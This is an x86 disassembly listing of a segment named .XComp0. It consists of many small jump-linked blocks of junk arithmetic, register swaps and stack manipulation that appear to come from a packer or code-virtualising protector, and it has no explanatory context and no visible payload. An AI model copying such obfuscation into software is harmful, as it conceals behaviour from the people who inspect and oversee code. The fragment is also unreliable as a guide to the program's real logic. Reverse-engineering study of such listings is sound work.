loc_59302E:				; CODE XREF: .XComp0:00587D91j
		dec	ecx
		shl	ecx, 3
		add	ecx, 8F12A07Ch
		sub	ebp, ecx
		jmp	loc_59424F
; ---------------------------------------------------------------------------


loc_59303F:				; CODE XREF: .XComp0:00589970j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_590A43
; ---------------------------------------------------------------------------


loc_593052:				; CODE XREF: .XComp0:0058CE41j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_58ACFD
; ---------------------------------------------------------------------------


loc_593060:				; CODE XREF: .XComp0:0058DCE0j
		xor	esi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	75A4h
		mov	[esp], ecx
		mov	ecx, esp
		push	78F8h
		mov	[esp], edi
		push	eax
		push	esp
		pop	eax
		push	ebx
		mov	ebx, 4C3E3242h
		shr	ebx, 6
		neg	ebx
		neg	ebx
		push	esi
		mov	esi, 54F27C89h
		inc	esi
		jmp	loc_586CB6
; ---------------------------------------------------------------------------


loc_593098:				; CODE XREF: .XComp0:0058F80Cj
		xchg	ebp, [esp]
		jmp	loc_5910F5
; ---------------------------------------------------------------------------


loc_5930A0:				; CODE XREF: .XComp0:00587674j
		and	ebp, 711A52F3h
		sub	ebp, 26D83AD3h
		push	62FEh
		mov	[esp], ebp
		xor	dword ptr [esp], 36F6B44h
		jmp	loc_5899DF
; ---------------------------------------------------------------------------


loc_5930C0:				; CODE XREF: .XComp0:0058CDE9j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		jmp	loc_596BD6
; ---------------------------------------------------------------------------


loc_5930D4:				; CODE XREF: .XComp0:00590C33j
		sub	esp, 4
		mov	[esp], ebp
		push	5DD50ECCh
		pop	ebp
		jmp	loc_597837
; ---------------------------------------------------------------------------


loc_5930E5:				; CODE XREF: .XComp0:0058498Bj
		mov	ebx, esp
		push	ecx
		jmp	loc_5867B6
; ---------------------------------------------------------------------------


loc_5930ED:				; CODE XREF: .XComp0:0058791Fj
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_589BE3
; ---------------------------------------------------------------------------


loc_5930FD:				; CODE XREF: .XComp0:0058A9B6j
		add	eax, 97D200AEh
		xor	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		jmp	loc_58D0AE
; ---------------------------------------------------------------------------


loc_593111:				; CODE XREF: .XComp0:005919D2j
		add	esp, 4
		jmp	loc_593394
; ---------------------------------------------------------------------------


loc_593119:				; CODE XREF: .XComp0:00586F5Cj
		xchg	ecx, [esp]
		pop	esp
		neg	edx
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 51372404h
		shl	edi, 8
		jmp	loc_58C219
; ---------------------------------------------------------------------------


loc_593136:				; CODE XREF: .XComp0:0058AC0Dj
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		shl	ecx, 7
		xor	ecx, 2EC260C4h
		jmp	loc_597240
; ---------------------------------------------------------------------------


loc_59314A:				; CODE XREF: .XComp0:00595128j
		push	ebx
		mov	ebx, 88301F15h
		sub	ecx, ebx
		jmp	loc_59712E
; ---------------------------------------------------------------------------


loc_593157:				; CODE XREF: .XComp0:00586FF3j
		push	2A33h
		jmp	loc_5918C9
; ---------------------------------------------------------------------------


loc_593161:				; CODE XREF: .XComp0:00593717j
		sub	ebx, 2498F289h
		add	ebx, 0D410E28Dh
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58A391
; ---------------------------------------------------------------------------


loc_593183:				; CODE XREF: .XComp0:0058E8D6j
		pop	esp
		push	14A2h
		mov	[esp], ebx
		push	ecx
		xor	dword ptr [esp], 68F41B04h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_583CC9
; ---------------------------------------------------------------------------


loc_59319F:				; CODE XREF: .XComp0:00587994j
		add	edx, 4
		add	edx, 4
		jmp	loc_58B7A6
; ---------------------------------------------------------------------------


loc_5931B0:				; CODE XREF: .XComp0:00592898j
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4A922B2Fh
		push	ecx
		push	esi
		mov	esi, 12C03627h
		mov	ecx, esi
		pop	esi
		add	ecx, 4DD87B19h
		jmp	loc_584EAA
; ---------------------------------------------------------------------------


loc_5931D0:				; CODE XREF: .XComp0:0058B665j
		mov	[esp], ebx
		jmp	loc_5941CC
; ---------------------------------------------------------------------------


loc_5931D8:				; CODE XREF: .XComp0:00584E5Ej
		add	ebx, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_58457C
; ---------------------------------------------------------------------------


loc_5931F4:				; CODE XREF: .XComp0:00584E4Bj
		sub	edi, 5E306CEAh
		sub	edi, ebp
		add	edi, 5E306CEAh
		mov	ebp, [esp]
		jmp	loc_5965AE
; ---------------------------------------------------------------------------


loc_59320A:				; CODE XREF: .XComp0:0058534Cj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 240741DFh
		dec	ebx
		jmp	loc_594D70
; ---------------------------------------------------------------------------


loc_59321F:				; CODE XREF: .XComp0:0058913Bj
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 2D506336h
		neg	ebx
		xor	ebx, 63662009h
		sub	ebx, 30270792h
		push	eax
		mov	eax, 1
		add	ebx, eax
		pop	eax
		or	ebx, 7D4640F6h
		jmp	loc_5937DC
; ---------------------------------------------------------------------------


loc_59324B:				; CODE XREF: .XComp0:0058A466j
		or	eax, 5E9F1EDCh
		add	eax, 4F180BA1h
		xor	eax, 0F0F83D10h
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	eax, ebx
		jmp	loc_594113
; ---------------------------------------------------------------------------


loc_59326C:				; CODE XREF: .XComp0:0058E41Fj
		add	ebx, edi
		pop	edi
		push	ebx
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		xchg	ebx, [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_58BBA5
; ---------------------------------------------------------------------------


loc_59328D:				; CODE XREF: .XComp0:00595568j
		add	ebp, 0FFFFFFFFh
		add	ebp, 74BD0BDEh
		jmp	loc_5932FD
; ---------------------------------------------------------------------------


loc_59329E:				; CODE XREF: .XComp0:0058835Bj
		add	esp, 4
		push	ebx
		jmp	loc_58DEF1
; ---------------------------------------------------------------------------


loc_5932AA:				; CODE XREF: .XComp0:0059816Fj
		sub	ecx, 6D576A5h
		jmp	loc_58E48D
; ---------------------------------------------------------------------------


loc_5932B5:				; CODE XREF: .XComp0:0058C541j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	eax, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58643C
; ---------------------------------------------------------------------------


loc_5932D5:				; CODE XREF: .XComp0:00586B54j
		sub	eax, edx
		jmp	loc_597D7C
; ---------------------------------------------------------------------------


loc_5932DC:				; CODE XREF: .XComp0:0058A922j
		sub	ebp, 95AE9C4Dh
		xor	edi, ebp
		pop	ebp
		push	49E8h
		jmp	loc_585362
; ---------------------------------------------------------------------------


loc_5932EF:				; CODE XREF: .XComp0:00589A54j
		xchg	eax, ecx
		sub	ecx, 0BB9C0BD8h
		add	ebp, ecx
		jmp	loc_592E54
; ---------------------------------------------------------------------------


loc_5932FD:				; CODE XREF: .XComp0:00593299j
		add	edx, 69D9144Fh
		sub	edx, 6F744EA3h
		jmp	loc_58C5F5
; ---------------------------------------------------------------------------


loc_59330E:				; CODE XREF: .XComp0:005959E1j
		sub	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5842DD
; ---------------------------------------------------------------------------


loc_593319:				; CODE XREF: .XComp0:00590AEBj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_593849
; ---------------------------------------------------------------------------


loc_593330:				; CODE XREF: .XComp0:005845D6j
		add	ebx, esi
		sub	ebx, 1C150E57h
		jmp	loc_58ACB5
; ---------------------------------------------------------------------------


loc_59333D:				; CODE XREF: .XComp0:0058C222j
		pop	edi
		sub	edx, ebx
		pop	ebx
		inc	edx
		dec	edx
		jmp	loc_591F45
; ---------------------------------------------------------------------------


loc_593348:				; CODE XREF: .XComp0:00585803j
		xor	ecx, ebx
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58D031
; ---------------------------------------------------------------------------


loc_593356:				; CODE XREF: .XComp0:00591342j
		push	ebx
		mov	ebx, 4DCD5845h
		add	ebx, 0FD9027Ch
		sub	esi, ebx
		pop	ebx
		sub	esi, ecx
		jmp	loc_5906B6
; ---------------------------------------------------------------------------


loc_59336C:				; CODE XREF: .XComp0:005845F5j
		mov	[esp], edx
		push	8543821h
		pop	edx
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 5A033E30h
		sub	eax, ecx
		jmp	loc_584B10
; ---------------------------------------------------------------------------


loc_59338C:				; CODE XREF: .XComp0:0058E003j
		shr	edx, 6
		jmp	loc_596BB8
; ---------------------------------------------------------------------------


loc_593394:				; CODE XREF: .XComp0:00593114j
		add	ebx, 47956E4Bh
		jmp	loc_58697B
; ---------------------------------------------------------------------------


loc_59339F:				; CODE XREF: .XComp0:0058ABD9j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5933A4:				; CODE XREF: .XComp0:00586ADFj
		add	eax, 4
		jmp	loc_583BD5
; ---------------------------------------------------------------------------


loc_5933AE:				; CODE XREF: .XComp0:005872E0j
		mov	ebp, eax
		pop	eax
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59028B
; ---------------------------------------------------------------------------


loc_5933C1:				; CODE XREF: .XComp0:00591B00j
		mov	ebx, edi
		jmp	loc_593A17
; ---------------------------------------------------------------------------


loc_5933C8:				; CODE XREF: .XComp0:0058F58Dj
		push	7B26h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 9EF4508h
		jmp	loc_58601C
; ---------------------------------------------------------------------------


loc_5933DB:				; CODE XREF: .XComp0:0058A5D6j
		push	esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_585F42
; ---------------------------------------------------------------------------


loc_5933E6:				; CODE XREF: .XComp0:00596B61j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	158Ah
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58553C
; ---------------------------------------------------------------------------


loc_59340E:				; CODE XREF: .XComp0:0059656Fj
		add	ebx, 73932C6Ah
		add	ebx, esi
		sub	ebx, 73932C6Ah
		jmp	loc_584E81
; ---------------------------------------------------------------------------


loc_593421:				; CODE XREF: .XComp0:00588401j
		mov	esi, esp
		jmp	loc_58B6D7
; ---------------------------------------------------------------------------


loc_593428:				; CODE XREF: .XComp0:0058F3A6j
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_58FAE7
; ---------------------------------------------------------------------------


loc_593433:				; CODE XREF: .XComp0:005877E7j
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593444:				; CODE XREF: .XComp0:00584589j
		add	dword ptr [esp+4], 5F460252h
		pop	ebp
		jmp	loc_594C7C
; ---------------------------------------------------------------------------


loc_593452:				; CODE XREF: .XComp0:00590A5Aj
		push	ebx
		mov	ebx, 4827323h
		jmp	loc_58F75D
; ---------------------------------------------------------------------------


loc_59345D:				; CODE XREF: .XComp0:00587157j
		push	esp
		jmp	loc_5964A7
; ---------------------------------------------------------------------------


loc_593463:				; CODE XREF: .XComp0:00593AD8j
		mov	ebp, [esp]
		jmp	loc_58A3F3
; ---------------------------------------------------------------------------


loc_59346B:				; CODE XREF: .XComp0:0058AA5Dj
		pop	ecx
		push	1BD6h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_5911A8
; ---------------------------------------------------------------------------


loc_59347D:				; CODE XREF: .XComp0:0059176Ej
		inc	edx
		sub	edx, 7CE4C764h
		mov	ebx, edx
		pop	edx
		xor	edi, ebx
		pop	ebx
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	6B8Bh
		mov	[esp], edi
		jmp	loc_593E65
; ---------------------------------------------------------------------------


loc_5934A3:				; CODE XREF: .XComp0:00591824j
		mov	[esp], ebp
		mov	ebp, 2
		jmp	loc_592DA2
; ---------------------------------------------------------------------------


loc_5934B0:				; CODE XREF: .XComp0:005918E4j
		mov	edx, ebx
		pop	ebx
		and	edx, 7E4122E8h
		shr	edx, 1
		push	eax
		mov	eax, 33AB3A7Dh
		and	eax, 717F79FDh
		and	eax, 2D720774h
		push	ebx
		mov	ebx, 7E766E0Fh
		jmp	loc_58CBE9
; ---------------------------------------------------------------------------


loc_5934D6:				; CODE XREF: .XComp0:0058D7ADj
		add	ebp, ecx
		pop	ecx
		jmp	loc_592342
; ---------------------------------------------------------------------------


loc_5934DE:				; CODE XREF: .XComp0:00584C03j
		mov	ecx, esp
		jmp	loc_58B6AA
; ---------------------------------------------------------------------------


loc_5934E5:				; CODE XREF: .XComp0:0058AA05j
		sub	al, 6Fh
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	cl, 0E7h
		jmp	loc_592C1E
; ---------------------------------------------------------------------------


loc_5934F8:				; CODE XREF: .XComp0:00592BECj
		sub	esp, 4
		jmp	loc_58689E
; ---------------------------------------------------------------------------


loc_593500:				; CODE XREF: .XComp0:00595B7Fj
		dec	edi
		xor	edi, 0C18B2231h
		sub	eax, edi
		pop	edi
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593522:				; CODE XREF: .XComp0:0059124Dj
		mov	[esp], ecx
		mov	ch, 0C1h
		not	ch
		add	ch, 32h
		add	bh, ch
		pop	ecx
		or	dh, bh
		pop	ebx
		push	small 0
		sub	[esp], dh
		jmp	loc_59165F
; ---------------------------------------------------------------------------


loc_59353E:				; CODE XREF: .XComp0:0059449Dj
		add	ebp, 4
		jmp	loc_58D67F
; ---------------------------------------------------------------------------


loc_593549:				; CODE XREF: .XComp0:00590EC5j
		mov	ch, 77h
		jmp	loc_598B4C
; ---------------------------------------------------------------------------


loc_593550:				; CODE XREF: .XComp0:0059539Aj
		pop	ebp
		jmp	loc_58EC43
; ---------------------------------------------------------------------------


loc_593556:				; CODE XREF: .XComp0:00594601j
		push	4961942h
		pop	edi
		add	edi, 24885F81h
		xor	edi, 3A5D49B5h
		jmp	loc_58D806
; ---------------------------------------------------------------------------


loc_59356D:				; CODE XREF: .XComp0:0058B98Cj
		add	bl, al
		push	eax
		mov	al, 0Eh
		jmp	loc_593762
; ---------------------------------------------------------------------------


loc_593577:				; CODE XREF: .XComp0:005888BFj
		add	ebx, ebp
		sub	ebx, 5980C92h
		sub	ebx, 881228Bh
		jmp	loc_59014C
; ---------------------------------------------------------------------------


loc_59358A:				; CODE XREF: .XComp0:00589FEBj
		push	306517AAh
		jmp	loc_587F18
; ---------------------------------------------------------------------------


loc_593594:				; CODE XREF: .XComp0:00591843j
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_590575
; ---------------------------------------------------------------------------


loc_59359E:				; CODE XREF: .XComp0:0059809Aj
		xor	ecx, 0A96BECE7h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_59492B
; ---------------------------------------------------------------------------


loc_5935AC:				; CODE XREF: .XComp0:00584D9Dj
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	3B9Dh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_58614F
; ---------------------------------------------------------------------------


loc_5935D6:				; CODE XREF: .XComp0:00591AB6j
		push	ecx
		jmp	loc_595F65
; ---------------------------------------------------------------------------


loc_5935DC:				; CODE XREF: .XComp0:0058DBAAj
		pop	ebx
		push	ebx
		mov	ebx, 4437102Dh
		shl	ebx, 2
		shl	ebx, 2
		and	ebx, 1D307A59h
		not	ebx
		xor	ebx, 0C69A9605h
		xor	ecx, ebx
		pop	ebx
		xor	ecx, 65461C4Eh
		add	ecx, 0C68DB381h
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58D1D9
; ---------------------------------------------------------------------------


loc_593615:				; CODE XREF: .XComp0:00592D09j
		sub	ebx, 0BD082872h
		add	edi, ebx
		pop	ebx
		push	116h
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 3B9F71F9h
		sub	edx, 3B9F71F5h
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5883F4
; ---------------------------------------------------------------------------


loc_593650:				; CODE XREF: .XComp0:00592CD0j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58458E
; ---------------------------------------------------------------------------


loc_59366D:				; CODE XREF: .XComp0:00595FF9j
		mov	[esp], edx
		jmp	loc_587ADA
; ---------------------------------------------------------------------------


loc_593675:				; CODE XREF: .XComp0:00591DFFj
		shr	eax, 5
		add	eax, 0FB8FBC69h
		jmp	loc_59729E
; ---------------------------------------------------------------------------


loc_593682:				; CODE XREF: .XComp0:0059273Fj
		push	702Ah
		mov	[esp], esi
		push	2711h
		mov	[esp], ebx
		mov	ebx, 4
		mov	esi, ebx
		pop	ebx
		add	edx, esi
		jmp	loc_595C71
; ---------------------------------------------------------------------------


loc_5936A1:				; CODE XREF: .XComp0:00598C0Bj
		xor	ebp, ecx
		jmp	loc_585F4A
; ---------------------------------------------------------------------------


loc_5936A8:				; CODE XREF: .XComp0:00598278j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_591ACB
; ---------------------------------------------------------------------------


loc_5936D8:				; CODE XREF: .XComp0:00595AC6j
		sub	edx, ebp
		pop	ebp
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_591683
; ---------------------------------------------------------------------------


loc_5936E5:				; CODE XREF: .XComp0:005943F8j
		pop	esp
		mov	[esp], ecx
		mov	ecx, edx
		jmp	loc_585E03
; ---------------------------------------------------------------------------


loc_5936F0:				; CODE XREF: .XComp0:005975DBj
		xor	eax, [esp]
		jmp	loc_5840DF
; ---------------------------------------------------------------------------


loc_5936F8:				; CODE XREF: .XComp0:00584D5Bj
		add	ebp, ebx
		add	ebp, 4207085Ch
		jmp	loc_58BBEF
; ---------------------------------------------------------------------------


loc_593705:				; CODE XREF: .XComp0:00585225j
		pop	esp
		push	sp
		jmp	loc_58D898
; ---------------------------------------------------------------------------


loc_59370D:				; CODE XREF: .XComp0:00594D76j
		xchg	esi, [esp]
		pop	ebx
		and	ebx, 548B5018h
		jmp	loc_593161
; ---------------------------------------------------------------------------


loc_59371C:				; CODE XREF: .XComp0:0058FF3Ej
		mov	edi, [esp]
		jmp	loc_59157C
; ---------------------------------------------------------------------------


loc_593724:				; CODE XREF: .XComp0:0058C0E0j
		pop	esp
		jmp	loc_587605
; ---------------------------------------------------------------------------


loc_59372A:				; CODE XREF: .XComp0:00595A6Dj
		push	esi
		mov	esi, 24B45903h
		jmp	loc_58CD65
; ---------------------------------------------------------------------------


loc_593735:				; CODE XREF: .XComp0:0058D7B7j
		pop	ecx
		pop	edx
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		push	39A8h
		mov	[esp], eax
		jmp	loc_598714
; ---------------------------------------------------------------------------


loc_59374D:				; CODE XREF: .XComp0:00585565j
		mov	eax, esp
		jmp	loc_598CED
; ---------------------------------------------------------------------------


loc_593754:				; CODE XREF: .XComp0:00591400j
		add	esp, 4
		push	ebx
		mov	ebx, eax
		jmp	loc_598DBB
; ---------------------------------------------------------------------------


loc_593762:				; CODE XREF: .XComp0:00593572j
		shr	al, 5
		xor	al, 3Eh
		add	bl, al
		mov	eax, [esp]
		jmp	loc_5923C9
; ---------------------------------------------------------------------------


loc_593771:				; CODE XREF: .XComp0:00596106j
		pop	edx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593777:				; CODE XREF: .XComp0:0058A801j
		pop	ebp
		and	edx, eax
		mov	eax, [esp]
		add	esp, 4
		not	edx
		jmp	loc_589D1F
; ---------------------------------------------------------------------------


loc_593787:				; CODE XREF: .XComp0:00592C79j
		pop	ebp
		push	ecx
		mov	ecx, 185565A4h
		shr	ecx, 6
		shl	ecx, 5
		xor	ecx, 0C2AB2C2h
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58F930
; ---------------------------------------------------------------------------


loc_5937A8:				; CODE XREF: .XComp0:0058A1A4j
		mov	edx, ecx
		pop	ecx
		mov	edi, edx
		pop	edx
		or	edi, 66D406E4h
		push	edx
		mov	edx, 6A8D715Dh
		add	edi, edx
		pop	edx
		dec	edi
		jmp	loc_587748
; ---------------------------------------------------------------------------


loc_5937C3:				; CODE XREF: .XComp0:00590B8Fj
		add	ebx, 0C4B9CEE3h
		add	esi, ebx
		jmp	loc_58A704
; ---------------------------------------------------------------------------


loc_5937D0:				; CODE XREF: .XComp0:0058F52Cj
		pop	edi
		add	edi, 4
		jmp	loc_584FF6
; ---------------------------------------------------------------------------


loc_5937DC:				; CODE XREF: .XComp0:00593246j
		sub	ebx, 0FDE6F5F4h
		push	edi
		jmp	loc_58F079
; ---------------------------------------------------------------------------


loc_5937E8:				; CODE XREF: .XComp0:00598DBCj
		xor	dword ptr [esp], 10364DA3h
		pop	edi
		xor	edi, 10364DA3h
		pop	ebx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58BAE3
; ---------------------------------------------------------------------------


loc_593802:				; CODE XREF: .XComp0:00585FFBj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_592A68
; ---------------------------------------------------------------------------


loc_59381A:				; CODE XREF: .XComp0:00593D08j
		push	ecx
		mov	ecx, 0F590927h
		sub	esi, ecx
		pop	ecx
		jmp	loc_58E27E
; ---------------------------------------------------------------------------


loc_593828:				; CODE XREF: .XComp0:00595F99j
		mov	ebx, 53FD67F8h
		neg	ebx
		sub	ebx, 739D7F7Eh
		add	eax, ebx
		jmp	loc_5983A3
; ---------------------------------------------------------------------------


loc_59383C:				; CODE XREF: .XComp0:00584CD1j
		push	10A1h
		mov	[esp], ebp
		jmp	loc_5890FB
; ---------------------------------------------------------------------------


loc_593849:				; CODE XREF: .XComp0:0059332Bj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_58AB82
; ---------------------------------------------------------------------------


loc_593857:				; CODE XREF: .XComp0:00595B65j
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	321Ah
		mov	[esp], esi
		push	507Ch
		jmp	loc_592B8C
; ---------------------------------------------------------------------------


loc_59386E:				; CODE XREF: .XComp0:00598B53j
		push	63BFh
		jmp	loc_597B22
; ---------------------------------------------------------------------------


loc_593878:				; CODE XREF: .XComp0:0058F431j
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		push	3B5Fh
		mov	[esp], eax
		push	esi
		jmp	loc_58A1F9
; ---------------------------------------------------------------------------


loc_59389A:				; CODE XREF: .XComp0:00595C02j
		push	ecx
		mov	ecx, 6E6A56A8h
		or	ecx, 79C54FACh
		shl	ecx, 4
		xor	ecx, 0FEF5FAC4h
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_598A6B
; ---------------------------------------------------------------------------


loc_5938C1:				; CODE XREF: .XComp0:00596335j
		not	ebp
		xchg	ebp, edi
		shl	edi, 1
		sub	edi, 0B075E20Ch
		jmp	loc_58EB0F
; ---------------------------------------------------------------------------


loc_5938D2:				; CODE XREF: .XComp0:00597CD0j
		mov	ebx, edx
		pop	edx
		push	ebx
		mov	ebx, 350827AAh
		sub	ebx, 2D7FABCFh
		add	esi, ebx
		jmp	loc_596455
; ---------------------------------------------------------------------------


loc_5938E8:				; CODE XREF: .XComp0:00596157j
		sub	ch, 0D5h
		add	al, ch
		mov	ecx, [esp]
		jmp	loc_5849C6
; ---------------------------------------------------------------------------


loc_5938F5:				; CODE XREF: .XComp0:0058580Dj
		push	eax
		mov	eax, 634E1122h
		shl	eax, 5
		not	eax
		sub	eax, 81E3CE2Eh
		sub	ebp, eax
		pop	eax
		sub	ebp, 17192CA9h
		add	ebp, eax
		add	ebp, 17192CA9h
		add	ebp, 145A0D91h
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_595160
; ---------------------------------------------------------------------------


loc_593928:				; CODE XREF: .XComp0:00586A31j
		pop	ecx
		neg	edx
		shr	edx, 8
		xor	edx, 0D2E2A3h
		push	edi
		mov	edi, 1B144DD5h
		jmp	loc_596D38
; ---------------------------------------------------------------------------


loc_59393F:				; CODE XREF: .XComp0:005917F3j
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		push	6D4h
		mov	[esp], edi
		mov	edi, 649F0DE1h
		sub	edi, 649F0DDFh
		add	edx, 6A3D2888h
		jmp	loc_591D75
; ---------------------------------------------------------------------------


loc_593964:				; CODE XREF: .XComp0:00587F0Cj
		mov	esi, esp
		jmp	loc_595D8C
; ---------------------------------------------------------------------------


loc_59396B:				; CODE XREF: .XComp0:00588E4Fj
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 47B03D18h
		add	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_588767
; ---------------------------------------------------------------------------


loc_59398A:				; CODE XREF: .XComp0:0058B5CAj
		add	esp, 4
		jmp	loc_58A4E6
; ---------------------------------------------------------------------------


loc_593995:				; CODE XREF: .XComp0:00598DB6j
		mov	ebp, esp
		jmp	loc_591FD4
; ---------------------------------------------------------------------------


loc_59399C:				; CODE XREF: .XComp0:005970BDj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_589998
; ---------------------------------------------------------------------------


loc_5939A7:				; CODE XREF: .XComp0:0058F678j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_594E3F
; ---------------------------------------------------------------------------


loc_5939B2:				; CODE XREF: .XComp0:0058567Ej
		xor	eax, 1FCB7D6Ah
		push	5A41h
		mov	[esp], ebx
		mov	ebx, 400h
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_59205C
; ---------------------------------------------------------------------------


loc_5939D1:				; CODE XREF: .XComp0:0059194Bj
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 22h
		or	cl, 1Dh
		push	eax
		mov	ah, 68h
		sub	cl, ah
		mov	eax, [esp]
		add	esp, 4
		push	small 6CF7h
		mov	[esp], bx
		jmp	loc_59253E
; ---------------------------------------------------------------------------


loc_5939F8:				; CODE XREF: .XComp0:0058607Fj
		xchg	ebp, ecx
		inc	ebp
		xchg	ebp, ecx
		inc	ecx
		and	ecx, 673C0DAAh
		jmp	loc_593C37
; ---------------------------------------------------------------------------


loc_593A09:				; CODE XREF: .XComp0:00584B0Bj
		dec	esi
		sub	esi, 8D7FC317h
		sub	edi, esi
		jmp	loc_58589E
; ---------------------------------------------------------------------------


loc_593A17:				; CODE XREF: .XComp0:005933C3j
		pop	edi
		pop	ecx
		dec	ebx
		not	ebx
		sub	ebx, 0EA759CFBh
		sub	edx, ebx
		jmp	loc_592625
; ---------------------------------------------------------------------------


loc_593A29:				; CODE XREF: .XComp0:00590786j
		pop	ecx
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_58E0D6
; ---------------------------------------------------------------------------


loc_593A33:				; CODE XREF: .XComp0:005962CBj
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_593A3E:				; CODE XREF: .XComp0:0058EF20j
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		jmp	loc_585028
; ---------------------------------------------------------------------------


loc_593A4A:				; CODE XREF: .XComp0:005854AFj
		pop	edi
		push	3C24h
		mov	[esp], ebp
		push	esp
		jmp	loc_595C01
; ---------------------------------------------------------------------------


loc_593A59:				; CODE XREF: .XComp0:005958D8j
		pop	edx
		pop	ebx
		sub	ebx, 2F9D7F23h
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_58818A
; ---------------------------------------------------------------------------


loc_593A6C:				; CODE XREF: .XComp0:0058D4ECj
		xor	ah, dh
		add	dh, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, dh
		mov	dh, ah
		mov	ah, ch
		pop	ecx
		push	ecx
		mov	ch, 13h
		jmp	loc_58805D
; ---------------------------------------------------------------------------


